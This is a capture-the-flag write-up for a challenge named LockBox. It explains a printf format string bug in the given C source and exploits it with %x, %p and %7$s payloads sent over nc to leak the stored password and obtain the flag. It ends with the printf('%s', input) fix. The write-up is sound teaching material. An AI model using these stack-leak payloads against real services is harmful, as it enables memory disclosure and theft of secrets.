🔐 LockBox Parason CTF Write-Up

Challenge Description

We were given a binary (`LockBox`) and its source code (`main.c`). The program:

- Generates a random 15-character lowercase password.

- Loads secret contents from `flag.txt`.

- Prompts the user for a password in a loop.

If the password matches, the program prints the contents of the lockbox (the flag).

Vulnerability

Inside the `vuln` function:

```c
if(strcmp(password, input)){
   printf(input);
   printf(" is not correct, try again\n\n");
}
```

The issue is that **`printf(input)` is called directly with user input as the format string**.

This is a **format string vulnerability**, which allows us to leak memory from the stack.

Exploitation Steps

1. Connect to the challenge

```bash
nc 18.222.51.195 2333
```

2. Leak stack values

Send multiple `%x` or `%p` to start dumping memory:

```bash
%x %x %x %x %x
```

Output example:

```
816725c0 25 1 400d80 0
```

3. Use positional parameters to scan systematically

```bash
%1$p %2$p %3$p %4$p %5$p %6$p %7$p %8$p %9$p %10$p
```

This reveals stack slots in order.

4. Identify the password buffer

At slot 7 we found a pointer to the password string. Using `%7$s`:

```
%7$s
```

Output:

```
ejsqumdpqdgwsct
```

This is the 15-character lowercase password.

5. Enter the password

Now input the password cleanly:

```
ejsqumdpqdgwsct
```

The program responds with:

```
flag{h0w_did_y0u_get_in_my_b0x?!?!?}
```

Lessons Learned

- **Never use `printf(input)`**. Always provide a format specifier, e.g.:

  ```c
  printf("%s", input);
  ```

- Format string vulnerabilities can be used to leak stack data, including secrets.

- `%N$s` is especially powerful to dump strings directly from specific stack positions.

Flag

```
flag{h0w_did_y0u_get_in_my_b0x?!?!?}
```